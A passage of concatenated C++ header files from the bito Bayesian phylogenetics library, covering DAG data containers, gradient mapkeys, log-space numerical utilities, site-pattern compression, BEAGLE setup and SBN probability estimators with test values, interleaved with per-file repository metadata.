size_t spare_count_ = 10;
size_t alloc_count_ = 0;
// Unowned DAG reference.
GPDAG *dag_ = nullptr;
// Unowned GraftDAG reference.
GraftDAG *graft_dag_ = nullptr;
// Minimum default beginning allocated size of data vectors.
static constexpr size_t init_alloc_ = 32;
};
template <class VectorType, class DataType>
class DAGNodeData : public DAGData<VectorType, DataType, NodeId> {
public:
explicit DAGNodeData<VectorType, DataType>(
const std::optional<const size_t> count = std::nullopt,
std::optional<DataType> default_value = std::nullopt)
: DAGData<VectorType, DataType, NodeId>(count, default_value) {}
explicit DAGNodeData<VectorType, DataType>(
GPDAG &dag, std::optional<DataType> default_value = std::nullopt)
: DAGData<VectorType, DataType, NodeId>(std::nullopt, default_value) {
Resize(dag);
}
explicit DAGNodeData<VectorType, DataType>(
GraftDAG &dag, std::optional<DataType> default_value = std::nullopt)
: DAGData<VectorType, DataType, NodeId>(std::nullopt, default_value) {
Resize(dag);
}
void Resize(const GPDAG &dag,
std::optional<const size_t> explicit_alloc = std::nullopt,
std::optional<const Reindexer> reindexer = std::nullopt) {
Resize(dag.NodeCount(), std::nullopt, explicit_alloc, reindexer);
}
void Resize(const GraftDAG &dag,
std::optional<const size_t> explicit_alloc = std::nullopt,
std::optional<const Reindexer> reindexer = std::nullopt) {
Resize(dag.HostNodeCount(), dag.GraftNodeCount(), explicit_alloc, reindexer);
}
void Resize(std::optional<const size_t> new_count = std::nullopt,
std::optional<const size_t> new_spare = std::nullopt,
std::optional<const size_t> explicit_alloc = std::nullopt,
std::optional<const Reindexer> reindexer = std::nullopt) {
DAGData<VectorType, DataType, NodeId>::Resize(new_count, new_spare, explicit_alloc,
reindexer);
}
};
template <class VectorType, class DataType>
class DAGEdgeData : public DAGData<VectorType, DataType, EdgeId> {
public:
explicit DAGEdgeData<VectorType, DataType>(
const std::optional<const size_t> count = std::nullopt,
std::optional<DataType> default_value = std::nullopt)
: DAGData<VectorType, DataType, EdgeId>(count, default_value) {}
explicit DAGEdgeData<VectorType, DataType>(
GPDAG &dag, std::optional<DataType> default_value = std::nullopt)
: DAGData<VectorType, DataType, EdgeId>(std::nullopt, default_value) {
Resize(dag);
}
explicit DAGEdgeData<VectorType, DataType>(
GraftDAG &dag, std::optional<DataType> default_value = std::nullopt)
: DAGData<VectorType, DataType, EdgeId>(std::nullopt, default_value) {
Resize(dag);
}
void Resize(const GPDAG &dag,
std::optional<const size_t> explicit_alloc = std::nullopt,
std::optional<const Reindexer> reindexer = std::nullopt) {
Resize(dag.EdgeCountWithLeafSubsplits(), std::nullopt, explicit_alloc, reindexer);
}
void Resize(const GraftDAG &dag,
std::optional<const size_t> explicit_alloc = std::nullopt,
std::optional<const Reindexer> reindexer = std::nullopt) {
Resize(dag.HostEdgeCount(), dag.GraftEdgeCount(), explicit_alloc, reindexer);
}
void Resize(std::optional<const size_t> new_count = std::nullopt,
std::optional<const size_t> new_spare = std::nullopt,
std::optional<const size_t> explicit_alloc = std::nullopt,
std::optional<const Reindexer> reindexer = std::nullopt) {
DAGData<VectorType, DataType, EdgeId>::Resize(new_count, new_spare, explicit_alloc,
reindexer);
}
};
using DAGNodeDoubleData = DAGNodeData<EigenVectorXd, double>;
using DAGEdgeDoubleData = DAGEdgeData<EigenVectorXd, double>;
using DAGNodeIntData = DAGNodeData<EigenVectorXi, int>;
using DAGEdgeIntData = DAGEdgeData<EigenVectorXi, int>;
| 9,892
|
C++
|
.h
| 221
| 39.307692
| 88
| 0.684194
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,137
|
phylo_gradient.hpp
|
phylovi_bito/src/phylo_gradient.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <map>
#include <vector>
#include "phylo_flags.hpp"
using GradientMap = std::map<std::string, std::vector<double>>;
struct PhyloGradient {
PhyloGradient() = default;
PhyloGradient(double log_likelihood, GradientMap &gradient)
: log_likelihood_(log_likelihood), gradient_(gradient){};
std::vector<double> &operator[](const PhyloMapkey &key) {
return gradient_[key.GetKey()];
}
double log_likelihood_;
GradientMap gradient_;
// Gradient mapkeys
inline const static std::string site_model_key_ = "site_model";
inline const static std::string clock_model_key_ = "clock_model";
inline const static std::string substitution_model_key_ = "substitution_model";
inline const static std::string substitution_model_rates_key_ =
SubstitutionModel::rates_key_;
inline const static std::string substitution_model_frequencies_key_ =
SubstitutionModel::frequencies_key_;
inline const static std::string branch_lengths_key_ = "branch_lengths";
inline const static std::string ratios_root_height_key_ = "ratios_root_height";
};
// Mapkeys for GradientMap
namespace PhyloGradientMapkeys {
// Mapkeys
inline static const auto site_model_ =
PhyloMapkey("SITE_MODEL", PhyloGradient::site_model_key_);
inline static const auto clock_model_ =
PhyloMapkey("CLOCK_MODEL", PhyloGradient::clock_model_key_);
inline static const auto substitution_model_ =
PhyloMapkey("SUBSTITUTION_MODEL", PhyloGradient::substitution_model_key_);
inline static const auto substitution_model_rates_ = PhyloMapkey(
"SUBSTITUTION_MODEL_RATES", PhyloGradient::substitution_model_rates_key_);
inline static const auto substitution_model_frequencies_ =
PhyloMapkey("SUBSTITUTION_MODEL_FREQUENCIES",
PhyloGradient::substitution_model_frequencies_key_);
inline static const auto branch_lengths_ =
PhyloMapkey("BRANCH_LENGTHS", PhyloGradient::branch_lengths_key_);
inline static const auto ratios_root_height_ =
PhyloMapkey("RATIOS_ROOT_HEIGHT", PhyloGradient::ratios_root_height_key_);
inline static const auto set_ = PhyloMapkeySet(
"PhyloModel",
{site_model_, clock_model_, substitution_model_, substitution_model_rates_,
substitution_model_frequencies_, branch_lengths_, ratios_root_height_});
}; // namespace PhyloGradientMapkeys
| 2,441
|
C++
|
.h
| 50
| 45.5
| 81
| 0.761125
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,138
|
numerical_utils.hpp
|
phylovi_bito/src/numerical_utils.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include <fenv.h>
#include <limits>
#include "eigen_sugar.hpp"
#include "sugar.hpp"
constexpr double DOUBLE_INF = std::numeric_limits<double>::infinity();
constexpr double DOUBLE_NEG_INF = -std::numeric_limits<double>::infinity();
constexpr double EPS = std::numeric_limits<double>::epsilon();
constexpr size_t OUT_OF_SAMPLE_IDX = std::numeric_limits<size_t>::max();
constexpr double DOUBLE_NAN = std::numeric_limits<double>::quiet_NaN();
// It turns out that log isn't constexpr for silly reasons, so we use inline instead.
inline double LOG_EPS = log(EPS);
constexpr double ERR_TOLERANCE = 1e-10;
// DOUBLE_MINIMUM defines de facto minimum value for double to deal with
// potential overflow resulting from summing of large number of log
// probabilities.
// Note: using std::numeric_limits<double>::lowest() may result in numerical
// instability, especially if other operations are to be performed using it.
// This is why we are using a value that is slightly larger to denote
// the lowest double value that we will consider.
inline double DOUBLE_MINIMUM = std::numeric_limits<double>::lowest() * ERR_TOLERANCE;
constexpr auto FE_OVER_AND_UNDER_FLOW_EXCEPT = FE_OVERFLOW | FE_UNDERFLOW;
namespace NumericalUtils {
// Return log(exp(x) + exp(y)).
inline double LogAdd(double x, double y) {
// See:
// https://github.com/alexandrebouchard/bayonet/blob/master/src/main/java/bayonet/math/NumericalUtils.java#L59
// Make x the max.
if (y > x) {
double temp = x;
x = y;
y = temp;
}
if (x == DOUBLE_NEG_INF) {
return x;
}
double neg_diff = y - x;
if (neg_diff < LOG_EPS) {
return x;
}
return x + log(1.0 + exp(neg_diff));
}
// Return log(sum_i exp(vec(i))).
double LogSum(const EigenVectorXdRef vec);
// Returns a vector with the i-th entry given by LogAdd(vec1(i), vec2(i))
EigenVectorXd LogAddVectors(const EigenVectorXdRef vec1, const EigenVectorXdRef vec2);
// Normalize the entries of vec such that they become logs of probabilities:
// vec(i) = vec(i) - LogSum(vec).
void ProbabilityNormalizeInLog(EigenVectorXdRef vec);
// Exponentiate vec in place: vec(i) = exp(vec(i))
void Exponentiate(EigenVectorXdRef vec);
// This code concerns the floating-point environment (FE).
// Note that a FE "exception" is not a C++ exception, it's just a signal that a
// problem has happened. See
// https://en.cppreference.com/w/c/numeric/fenv/FE_exceptions
// If there is a worrying FE exception, get a string describing it.
std::optional<std::string> DescribeFloatingPointEnvironmentExceptions();
// If there is a worrying FE exception, report it and clear the record of there being
// any exception.
void ReportFloatingPointEnvironmentExceptions(std::string context = "");
} // namespace NumericalUtils
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("NumericalUtils") {
double log_x = log(2);
double log_y = log(3);
double log_sum = NumericalUtils::LogAdd(log_x, log_y);
CHECK_LT(fabs(log_sum - 1.609438), 1e-5);
EigenVectorXd log_vec(10);
double log_sum2 = DOUBLE_NEG_INF;
for (Eigen::Index i = 0; i < log_vec.size(); i++) {
log_vec(i) = log(i + 1);
log_sum2 = NumericalUtils::LogAdd(log_sum2, log_vec(i));
}
log_sum = NumericalUtils::LogSum(log_vec);
CHECK_LT(fabs(log_sum - 4.007333), 1e-5);
CHECK_LT(fabs(log_sum2 - 4.007333), 1e-5);
NumericalUtils::ProbabilityNormalizeInLog(log_vec);
for (Eigen::Index i = 0; i < log_vec.size(); i++) {
CHECK_LT(fabs(log_vec(i) - (log(i + 1) - log_sum)), 1e-5);
}
NumericalUtils::Exponentiate(log_vec);
double sum = 0.0;
for (Eigen::Index i = 0; i < log_vec.size(); i++) {
sum += log_vec(i);
}
CHECK_LT(fabs(sum - 1), 1e-5);
// Here we use volatile to avoid GCC optimizing away the variable.
volatile double d = 4.;
std::ignore = d;
d /= 0.;
auto fp_description = NumericalUtils::DescribeFloatingPointEnvironmentExceptions();
CHECK_EQ(*fp_description,
"The following floating point problems have been encountered: FE_DIVBYZERO");
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 4,167
|
C++
|
.h
| 97
| 40.556701
| 112
| 0.722675
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,139
|
site_pattern.hpp
|
phylovi_bito/src/site_pattern.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// A class for an alignment that has been compressed into site patterns.
#pragma once
#include <string>
#include <vector>
#include "alignment.hpp"
#include "sugar.hpp"
class SitePattern {
public:
SitePattern() = default;
SitePattern(const Alignment& alignment, TagStringMap tag_taxon_map)
: alignment_(alignment), tag_taxon_map_(std::move(tag_taxon_map)) {
patterns_.resize(alignment.SequenceCount());
Compress();
}
static CharIntMap GetSymbolTable();
static SymbolVector SymbolVectorOf(const CharIntMap& symbol_table,
const std::string& str);
Alignment GetAlignment() const { return alignment_; }
const std::vector<SymbolVector>& GetPatterns() const { return patterns_; }
size_t PatternCount() const { return patterns_.at(0).size(); }
size_t GetPatternSymbol(size_t sequence_idx, size_t pattern_idx) const {
return patterns_[sequence_idx][pattern_idx];
};
size_t SequenceCount() const { return patterns_.size(); }
size_t TaxonCount() const { return tag_taxon_map_.size(); }
size_t SiteCount() const { return alignment_.Length(); }
const std::vector<double>& GetWeights() const { return weights_; }
// Make a flattened partial likelihood vector for a given sequence, where anything
// above 4 is given a uniform distribution.
const std::vector<double> GetPartials(size_t sequence_idx) const;
static SitePattern HelloSitePattern() {
return SitePattern(Alignment::HelloAlignment(), {{PackInts(0, 1), "mars"},
{PackInts(1, 1), "saturn"},
{PackInts(2, 1), "jupiter"}});
}
private:
// The multiple sequence alignments represented by the site pattern, as a collection
// of taxon names and sequences.
Alignment alignment_;
// A map from a unique tag to the taxon name.
TagStringMap tag_taxon_map_;
// The first index of patterns_ is across sequences, and the second is across site
// patterns.
std::vector<SymbolVector> patterns_;
// The number of times each site pattern was seen in the alignment.
std::vector<double> weights_;
void Compress();
static int SymbolTableAt(const CharIntMap& symbol_table, char c);
};
#ifdef DOCTEST_LIBRARY_INCLUDED
TEST_CASE("SitePattern") {
CharIntMap symbol_table = SitePattern::GetSymbolTable();
SymbolVector symbol_vector = SitePattern::SymbolVectorOf(symbol_table, "-tgcaTGCA?");
SymbolVector correct_symbol_vector = {4, 3, 2, 1, 0, 3, 2, 1, 0, 4};
CHECK_EQ(symbol_vector, correct_symbol_vector);
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 2,738
|
C++
|
.h
| 60
| 40.516667
| 87
| 0.70015
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,140
|
block_model.hpp
|
phylovi_bito/src/block_model.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// A BlockModel is an abstract class to enable us to have parameter vectors that
// get subdivided and used. To understand the structure of BlockModels, read the
// header docs for BlockSpecification first. Then have a look at the GTR model
// in substitution_model.hpp and those unit tests.
//
// The methods provided just wrap methods in BlockSpecification, so see the
// corresponding docs for a description of what they do.
#pragma once
#include "block_specification.hpp"
class BlockModel {
public:
BlockModel(const BlockSpecification::ParamCounts& param_counts)
: block_specification_(param_counts) {}
BlockModel(const BlockModel&) = delete;
BlockModel(BlockModel&&) = delete;
BlockModel& operator=(const BlockModel&) = delete;
BlockModel& operator=(BlockModel&&) = delete;
virtual ~BlockModel() = default;
const BlockSpecification& GetBlockSpecification() const;
EigenVectorXdRef ExtractSegment(EigenVectorXdRef param_vector, std::string key) const;
EigenMatrixXdRef ExtractBlock(EigenMatrixXdRef param_matrix, std::string key) const;
void Append(const std::string& sub_entire_key, BlockSpecification other);
virtual void SetParameters(const EigenVectorXdRef param_vector) = 0;
private:
BlockSpecification block_specification_;
};
// This is a virtual class so there are no unit tests. See
// substitution_model.hpp.
| 1,490
|
C++
|
.h
| 31
| 45.774194
| 88
| 0.787733
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,141
|
beagle_accessories.hpp
|
phylovi_bito/src/beagle_accessories.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// BeagleAccessories are collections of artifacts that we can make in constant
// time given the tree, and remain const througout any operation-gathering tree
// traversal.
#pragma once
#include <numeric>
#include <vector>
#include "libhmsbeagle/beagle.h"
#include "node.hpp"
struct BeagleAccessories {
const int beagle_instance_;
const bool rescaling_;
const int root_id_;
const int fixed_node_id_;
const int root_child_id_;
const int node_count_;
const int taxon_count_;
const int internal_count_;
// We're not exacty sure what this mysterious_count argument is for.
// The beagle docs say: Number of partialsBuffer to integrate (input)
// In the BEASTs it's hardcoded to 1 and in MrBayes it appears to be for
// covarion models.
const int mysterious_count_ = 1;
// Scaling factors are recomputed every time so we don't read them
// using destinationScaleRead.
const int destinationScaleRead_ = BEAGLE_OP_NONE;
// This is the entry of scaleBuffer in which we store accumulated factors.
const std::vector<int> cumulative_scale_index_;
const std::vector<int> node_indices_;
// pattern weights
const std::vector<int> category_weight_index_ = {0};
// state frequencies
const std::vector<int> state_frequency_index_ = {0};
// indices of parent partialsBuffers
std::vector<int> upper_partials_index_ = {0};
// indices of child partialsBuffers
std::vector<int> node_partial_indices_ = {0};
// transition probability matrices
std::vector<int> node_mat_indices_ = {0};
// first derivative matrices
std::vector<int> node_deriv_index_ = {0};
BeagleAccessories(int beagle_instance, bool rescaling, const Node::NodePtr topology)
: beagle_instance_(beagle_instance),
rescaling_(rescaling),
root_id_(static_cast<int>(topology->Id())),
fixed_node_id_(static_cast<int>(topology->Children()[1]->Id())),
root_child_id_(static_cast<int>(topology->Children()[0]->Id())),
node_count_(static_cast<int>(topology->LeafCount() * 2 - 1)),
taxon_count_(static_cast<int>(topology->LeafCount())),
internal_count_(taxon_count_ - 1),
cumulative_scale_index_({rescaling ? 0 : BEAGLE_OP_NONE}),
node_indices_(IotaVector(node_count_ - 1, 0)) {}
static std::vector<int> IotaVector(size_t size, int start_value) {
std::vector<int> v(size);
std::iota(v.begin(), v.end(), start_value);
return v;
}
};
| 2,553
|
C++
|
.h
| 60
| 38.816667
| 86
| 0.709288
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,142
|
sbn_probability.hpp
|
phylovi_bito/src/sbn_probability.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
//
// Perform training of an SBN based on a sample of trees.
//
// We assume that readers are familiar with how the sbn_parameters_ vector is laid out:
// first probabilities of rootsplits, then conditional probabilities of PCSPs.
#pragma once
#include "eigen_sugar.hpp"
#include "sbn_maps.hpp"
namespace SBNProbability {
// The "SBN-SA" estimator described in the "Maximum Lower Bound Estimates" section of
// the 2018 NeurIPS paper.
void SimpleAverage(
EigenVectorXdRef sbn_parameters,
const UnrootedIndexerRepresentationCounter& indexer_representation_counter,
size_t rootsplit_count, const BitsetSizePairMap& parent_to_range);
void SimpleAverage(
EigenVectorXdRef sbn_parameters,
const RootedIndexerRepresentationCounter& indexer_representation_counter,
size_t rootsplit_count, const BitsetSizePairMap& parent_to_range);
// The "SBN-EM" estimator described in the "Expectation Maximization" section of
// the 2018 NeurIPS paper. Returns the sequence of scores (defined in the paper)
// obtained by the EM iterations.
EigenVectorXd ExpectationMaximization(
EigenVectorXdRef sbn_parameters,
const UnrootedIndexerRepresentationCounter& indexer_representation_counter,
size_t rootsplit_count, const BitsetSizePairMap& parent_to_range, double alpha,
size_t max_iter, double score_epsilon);
// Calculate the probability of an indexer_representation of a rooted topology.
double ProbabilityOfSingle(EigenConstVectorXdRef sbn_parameters,
const RootedIndexerRepresentation& indexer_representation);
// Calculate the probability of an indexer_representation of an unrooted topology.
double ProbabilityOfSingle(EigenConstVectorXdRef sbn_parameters,
const UnrootedIndexerRepresentation& indexer_representation);
// Calculate the probabilities of a collection of rooted indexer_representations.
EigenVectorXd ProbabilityOfCollection(
EigenConstVectorXdRef sbn_parameters,
const std::vector<RootedIndexerRepresentation>& indexer_representations);
// Calculate the probabilities of a collection of unrooted indexer_representations.
EigenVectorXd ProbabilityOfCollection(
EigenConstVectorXdRef sbn_parameters,
const std::vector<UnrootedIndexerRepresentation>& indexer_representations);
// This function performs in-place normalization of vec given by range when its values
// are in log space.
void ProbabilityNormalizeRangeInLog(EigenVectorXdRef vec,
std::pair<size_t, size_t> range);
// Perform in-place normalization of vec when its values are in log space.
// We assume that vec is laid out like sbn_parameters (see top).
void ProbabilityNormalizeParamsInLog(EigenVectorXdRef vec, size_t rootsplit_count,
const BitsetSizePairMap& parent_to_range);
bool IsInSBNSupport(const SizeVector& rooted_representation,
size_t out_of_support_sentinel_value);
// Take the sum of the entries of vec in indices plus starting_value.
double SumOf(EigenConstVectorXdRef vec, const SizeVector& indices,
double starting_value);
} // namespace SBNProbability
#ifdef DOCTEST_LIBRARY_INCLUDED
// Here we hardcode in "ground truth" values from
// https://github.com/zcrabbit/sbn.
// See https://github.com/phylovi/bito/pull/167 for details on how this code was
// run.
EigenVectorXd ExpectedSAVector() {
EigenVectorXd expected_SA(100);
expected_SA << 0.1563122979972875, 0.1563122979972875, 0.1225902102462595,
0.003813409758997299, 0.06405479308023015, 0.1225902102462595,
0.006496265198833325, 0.07224488861161361, 0.07224488861161361,
0.09211800063278303, 0.050235906509724905, 0.07224488861161361,
0.1225902102462595, 0.004000036290989688, 0.000785970418989169,
0.015740902738698836, 0.0007369945657169131, 0.092118000632783,
0.050235906509724905, 0.15631229799728746, 0.004517219839302666,
0.1225902102462595, 0.020070904829444434, 0.07224488861161361,
0.00826101112145943, 0.1563122979972875, 0.050235906509724905, 0.092118000632783,
6.6925344669117846e-06, 0.012000108872969078, 0.00107615168209648,
0.00487602847011386, 0.00524108566424323, 0.1563122979972875,
0.006470871758283066, 0.050235906509724905, 0.0034098101830328945,
0.1563122979972875, 0.07224488861161361, 0.0036073007280301274,
0.009488612393535554, 0.005657493542553093, 0.007936324421697116,
0.1225902102462595, 0.1563122979972875, 0.0064788184404525545, 0.1563122979972875,
0.006493612301549656, 0.1225902102462595, 0.1225902102462595, 0.06405479308023015,
0.06405479308023015, 0.092118000632783, 0.006224174813063337,
0.006496265198833326, 0.15631229799728746, 0.002156957252761021,
0.008283255738394914, 0.012789795178479234, 0.1225902102462595,
0.0057598153715508514, 0.1225902102462595, 0.1563122979972875,
0.12259021024625949, 0.15631229799728746, 0.004505082963907347,
0.15631229799728746, 0.06405479308023015, 0.050235906509724905,
0.00016398394968572145, 0.1225902102462595, 0.15631229799728752,
0.050235906509724905, 0.1563122979972875, 0.003933969974285363,
0.09211800063278297, 0.07224488861161361, 0.1563122979972875, 0.12259021024625949,
0.012098733104319886, 0.00028556179453190954, 0.005744340855421819,
0.00299072194405209, 0.0031839409290006357, 0.092118000632783, 0.1225902102462595,
0.0015789121009827038, 0.1563122979972875, 0.1225902102462595,
0.009488612393535554, 0.008035213534600344, 0.008283255738394914,
0.1225902102462595, 0.1563122979972875, 0.012789795178479234, 0.00826101112145943,
0.15631229799728746, 0.1563122979972875, 0.015740902738698836,
0.0014116239862321806;
return expected_SA;
}
// Expected EM vectors with alpha = 0.
std::tuple<EigenVectorXd, EigenVectorXd> ExpectedEMVectorsAlpha0() {
// 1 iteration of EM with alpha = 0.
EigenVectorXd expected_EM_0_1(100);
expected_EM_0_1 << 0.15636219370379975, 0.15636219370379975, 0.12263720847530954,
0.0038161261257420274, 0.0641198257552132, 0.12263720847530954,
0.006486659269203554, 0.07229291766902365, 0.07229291766902365,
0.09217334703350938, 0.05029011931468532, 0.07229291766902365,
0.12263720847530954, 0.004003916595779366, 0.0007856587472007348,
0.01573322403407416, 0.0007374660239687015, 0.09217334703350938,
0.05029011931468532, 0.15636219370379975, 0.004512401354352734,
0.12263720847530954, 0.02005981904435064, 0.07229291766902365,
0.008265715290818319, 0.15636219370379975, 0.05029011931468532,
0.09217334703350938, 6.696764561669613e-06, 0.0120117421642559,
0.0010771644269441463, 0.004896166585246872, 0.005249064166033721,
0.15636219370379975, 0.006473675486085066, 0.05029011931468532,
0.0032873955583662736, 0.15636219370379975, 0.07229291766902365,
0.0036100017361450775, 0.009434696399838294, 0.0056590388012875215,
0.007977630170932788, 0.12263720847530954, 0.15636219370379975,
0.006482919565829875, 0.15636219370379975, 0.006552518113293269,
0.12263720847530954, 0.12263720847530954, 0.0641198257552132, 0.0641198257552132,
0.09217334703350938, 0.0062569566301722964, 0.006486659269203554,
0.15636219370379975, 0.002157895979240378, 0.008270476015894701,
0.012800407342249945, 0.12263720847530954, 0.0057533024269482485,
0.12263720847530954, 0.15636219370379975, 0.12263720847530954,
0.15636219370379975, 0.004509802427487057, 0.15636219370379975,
0.0641198257552132, 0.05029011931468532, 0.00016356223078203, 0.12263720847530954,
0.15636219370379975, 0.05029011931468532, 0.15636219370379975,
0.0039366703105347105, 0.09217334703350938, 0.07229291766902365,
0.15636219370379975, 0.12263720847530954, 0.01202920464244238,
0.00028206667942050513, 0.005749993943460951, 0.0029930413584166584,
0.00329320520591652, 0.09217334703350938, 0.12263720847530954,
0.0015794165564839767, 0.15636219370379975, 0.12263720847530954,
0.009434696399838294, 0.0080145373179354, 0.008270476015894701,
0.12263720847530954, 0.15636219370379975, 0.012800407342249945,
0.008265715290818319, 0.15636219370379975, 0.15636219370379975,
0.01573322403407416, 0.0014108855861473272;
// 23 iterations of EM with alpha = 0.
EigenVectorXd expected_EM_0_23(100);
expected_EM_0_23 << 0.17652149361215352, 0.17652149361215352, 0.13955673648946823,
0.0064491608851600735, 0.05848390318274005, 0.13955673648946823,
0.015825262650921094, 0.056647494412346275, 0.056647494412346275,
0.07263326598713499, 0.046048205076811774, 0.056647494412346275,
0.13955673648946823, 0.004489402988562556, 0.0008454696589522312,
0.01696511452269485, 0.0007597630896160637, 0.07263326598713499,
0.046048205076811774, 0.17652149361215352, 0.007245923330084535,
0.13955673648946823, 0.021613944434184986, 0.056647494412346275,
0.014714698661351094, 0.17652149361215352, 0.046048205076811774,
0.07263326598713499, 9.203216973858281e-06, 0.012351059173222767,
0.0009871200936099765, 0.004930024591016917, 0.00491121394019874,
0.17652149361215352, 0.003698082517142961, 0.046048205076811774,
0.005102502844331727, 0.17652149361215352, 0.056647494412346275,
0.002888359861489329, 0.010768901737247942, 0.004400293712986419,
0.009082480764670433, 0.13955673648946823, 0.17652149361215352,
0.011355455748479546, 0.1765214936121535, 0.004904756855047689,
0.13955673648946823, 0.13955673648946823, 0.05848390318274005,
0.05848390318274005, 0.07263326598713499, 0.0071809191341133454,
0.015825262650921094, 0.17652149361215352, 0.002748656816901356,
0.020534769315758854, 0.015225481783759537, 0.13955673648946823,
0.009401422446411185, 0.13955673648946823, 0.17652149361215352,
0.13955673648946823, 0.17652149361215352, 0.005835611123722098,
0.17652149361215352, 0.05848390318274005, 0.046048205076811774,
0.00021701159553434837, 0.13955673648946823, 0.17652149361215352,
0.046048205076811774, 0.17652149361215352, 0.003632704913367913,
0.07263326598713499, 0.056647494412346275, 0.17652149361215352,
0.13955673648946823, 0.013620606755282007, 0.0013952624329697414,
0.007542542618796534, 0.004980505041486884, 0.0049091058169283925,
0.07263326598713499, 0.13955673648946823, 0.0018467480153313562,
0.17652149361215352, 0.13955673648946823, 0.010768901737247942,
0.00801061474692208, 0.020534769315758854, 0.13955673648946823,
0.17652149361215352, 0.015225481783759537, 0.014714698661351094,
0.1765214936121535, 0.17652149361215352, 0.01696511452269485,
0.0010195073633053277;
return {expected_EM_0_1, expected_EM_0_23};
}
// Expected EM vector with alpha = 0.5
EigenVectorXd ExpectedEMVectorAlpha05() {
// 100 iterations of EM with alpha = 0.5, from Andy's Rev implementation.
EigenVectorXd expected_EM_05_100(100);
expected_EM_05_100 << 0.156334, 0.156334, 0.1226123, 0.003816548, 0.06410458,
0.1226123, 0.006490481, 0.07228169, 0.07228169, 0.09216116, 0.05027706,
0.07228169, 0.1226123, 0.00400394, 0.0007856247, 0.01573095, 0.0007376477,
0.09216116, 0.05027706, 0.156334, 0.004514539, 0.1226123, 0.02005742, 0.07228169,
0.008265798, 0.156334, 0.05027706, 0.09216116, 6.695972e-06, 0.01201178,
0.001077308, 0.004899056, 0.005247481, 0.156334, 0.006473987, 0.05027706,
0.003445344, 0.156334, 0.07228169, 0.0036098, 0.009448465, 0.005659673,
0.007976663, 0.1226123, 0.156334, 0.006482844, 0.156334, 0.006417704, 0.1226123,
0.1226123, 0.06410458, 0.06410458, 0.09216116, 0.006256103, 0.006490481, 0.156334,
0.002157991, 0.008275552, 0.01279726, 0.1226123, 0.005756163, 0.1226123, 0.156334,
0.1226123, 0.156334, 0.004509251, 0.156334, 0.06410458, 0.05027706, 0.0001636864,
0.1226123, 0.156334, 0.05027706, 0.156334, 0.003936684, 0.09216116, 0.07228169,
0.156334, 0.1226123, 0.01204707, 0.0002831188, 0.005749409, 0.002993311,
0.003384393, 0.09216116, 0.1226123, 0.001579132, 0.156334, 0.1226123, 0.009448465,
0.008020635, 0.008275552, 0.1226123, 0.156334, 0.01279726, 0.008265798, 0.156334,
0.156334, 0.01573095, 0.001410898;
return expected_EM_05_100;
}
#endif // DOCTEST_LIBRARY_INCLUDED
| 12,548
|
C++
|
.h
| 196
| 58.214286
| 88
| 0.779922
|
phylovi/bito
| 38
| 9
| 59
|
GPL-3.0
|
9/20/2024, 10:43:37 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| false
| false
| false
|
1,532,143
|
gp_instance.hpp
|
phylovi_bito/src/gp_instance.hpp
|
// Copyright 2019-2022 bito project contributors.
// bito is free software under the GPLv3; see LICENSE file for details.
#pragma once
#include "gp_dag.hpp"
#include "gp_engine.hpp"
#include "rooted_tree_collection.hpp"
#include "site_pattern.hpp"
#include "nni_engine.hpp"
#include "fat_beagle.hpp"
#include "phylo_model.hpp"
// New typedef used for storing/outputting intermediate or perturbed+tracked values
// from branch length estimation.
using VectorOfStringAndEigenVectorXdPairs =
std::vector<std::pair<std::string, EigenVectorXd>>;
class GPInstance {
public:
explicit GPInstance(const std::string &mmap_file_path)
: mmap_file_path_(mmap_file_path) {
if (mmap_file_path.empty()) {
Failwith("GPInstance needs a legal path as a constructor argument.");
}
};
// ** I/O
void ReadFastaFile(const std::string &fname);
void ReadNewickFile(const std::string &fname, const bool sort_taxa = true);
void ReadNewickFileGZ(const std::string &fname, const bool sort_taxa = true);
void ReadNexusFile(const std::string &fname, const bool sort_taxa = true);
void ReadNexusFileGZ(const std::string &fname, const bool sort_taxa = true);
std::string GetFastaSourcePath() const;
std::string GetNewickSourcePath() const;
std::string GetNexusSourcePath() const;
std::string GetMMapFilePath() const;
void PrintStatus();
StringSizeMap DAGSummaryStatistics();
// ** Access
const TagStringMap &GetTaxonMap() const;
GPDAG &GetDAG();
const GPDAG &GetDAG() const;
GPEngine &GetGPEngine();
const GPEngine &GetGPEngine() const;
TPEngine &GetTPEngine();
const TPEngine &GetTPEngine() const;
NNIEngine &GetNNIEngine();
const NNIEngine &GetNNIEngine() const;
// ** Taxon Map
// Get taxon names.
StringVector GetTaxonNames() const;
// ** DAG
void MakeDAG();
bool HasDAG() const;
void PrintDAG();
SitePattern MakeSitePattern() const;
// Export the subsplit DAG as a DOT file.
void SubsplitDAGToDot(const std::string &out_path,
bool show_index_labels = true) const;
// ** GP Engine
void MakeGPEngine(double rescaling_threshold = GPEngine::default_rescaling_threshold_,
